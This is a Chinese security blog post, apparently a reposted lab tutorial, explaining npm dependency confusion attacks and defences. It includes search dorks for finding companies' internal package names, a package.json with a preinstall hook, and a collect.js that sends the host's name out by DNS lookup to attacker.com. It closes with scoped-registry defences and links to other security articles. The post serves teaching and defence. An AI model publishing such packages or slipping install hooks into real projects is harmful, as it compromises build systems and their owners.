[前沿技术]依赖混淆攻击实战"

admin 2026-10-20 23:39:12 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

[前沿技术] 依赖混淆攻击实战

原创

Pik安全实验室
Pik安全实验室

Pik安全实验室

2026年5月25日 10:13
广东

在小说阅读器读本章

去阅读

0x00 介绍

依赖混淆(Dependency Confusion)由 Alex Birsan 在 2021 年提出。通过分析目标公司内部使用的私有包名,在公共仓库注册同名包并赋予极高版本号,包管理器会优先下载攻击者的恶意包。Apple、Microsoft、Tesla 等大量科技巨头均受影响。本文将详细演示攻击流程和检测方法。

0x01 攻击原理

包管理器(npm/pip/NuGet)解析依赖时,如果同时存在内部仓库和公共仓库,通常会选择版本号更高的包。攻击者注册的包版本设为 99.99.99,必然被选中。

0x02 实战步骤

Step 1: 信息收集

从 package.json 泄露的内部包名

扫描目标的公开仓库、JS 文件、错误信息

使用 npm-packlist 检查 node\_modules

ls -la node\_modules/@company-name/

搜索公开的 lock 文件

site:github.com \"@target-company\" filename:package-lock.json

从错误日志中提取

site:target.com \"cannot find module\" \"@internal\"

Step 2: 注册同名包

在 npm 注册与内部包同名的包,版本设为极高(如 999.0.0)。包内 preinstall 脚本在安装时自动执行。

// package.json
{
\"name\": \"@company/internal-utils\",
\"version\": \"99.99.99\",
\"scripts\": {
    \"preinstall\": \"node ./collect.js\"
}
}

// collect.js — DNS 外带验证
const dns = require('dns');
const os = require('os');
const hostname = os.hostname();
dns.lookup(${hostname}.attacker.com, console.log);

Step 3: 验证与利用

发布后等待目标的 CI/CD 自动构建触发安装。通过 DNS 日志确认代码执行。

0x03 防御

使用 scope 注册(@company/my-package)、npm 组织管理、配置 .npmrc 的 @scope:registry、使用 npm audit 检测、锁定依赖版本。

.npmrc 配置 — 强制内部包走私有仓库

@company:registry=https://npm.company.com/

package.json 中显式声明 registry

\"publishConfig\": {
  \"registry\": \"https://npm.company.com/\"
}

本文仅作安全研究与学习用途,用于非法行为后果自行承担。


    [前沿技术]依赖混淆攻击实战" 网络安全文章

    [前沿技术]依赖混淆攻击实战"

    依赖混淆攻击通过注册与目标公司内部私有包同名的高版本恶意包,诱使包管理器优先下载执行攻击代码。文档详细演示了从信息收集(扫描公开仓库、lock文件)、注册恶意包(preinstall脚本DNS外带验证)到防御措施(scope注册、.npmrc配置)的全流程。攻击影响Apple等科技巨头,需加强内部包管理和依赖版本锁定。
    天津“十五五”规划(2026—2030)深度解读" 网络安全文章

    天津“十五五”规划(2026—2030)深度解读"

    天津市`十五五`规划深度对接国家京津冀协同发展、制造强国等战略,明确未来五年城市定位为京津冀核心一极、北方航运中心等。规划设定GDP年均增长5%等量化目标,部署六大核心任务:深化区域协同、升级产业体系、做强港口经济、强化科技创新、推进绿色转型、增进民生福祉。规划强调国家战略的本地化落地,将为市民带来交通、就业、生态等方面的全面提升。
    网络安全行业,聊一聊企业的负债率为什么要保持在一定的合理水平" 网络安全文章

    网络安全行业,聊一聊企业的负债率为什么要保持在一定的合理水平"

    本文从网络安全企业角度解析负债率保持合理水平的重要性,指出负债率并非越低越好,适度负债可发挥杠杆效应提升收益、合理避税降低成本、倒逼企业高效运营。针对网安行业研发投入大、回款周期长的特点,建议负债率维持在30%-40%的合理区间,超过50%需预警,但初创企业为快速扩张可暂时放宽标准。
    [代码审计]phpSSRF" 网络安全文章

    [代码审计]phpSSRF"

    本文详细分析了PHP中SSRF漏洞的成因、利用手法和防护方案。核心发现包括curl_exec、file_get\\_contents等函数可能触发SSRF攻击,攻击者可利用Gopher协议攻击内网服务、读取云元数据或进行端口探测。文章提供了IP限制绕过技巧(如短地址、DNS重绑定)并给出白名单限制、禁用危险协议等可操作修复建议。
    评论:0   参与:  0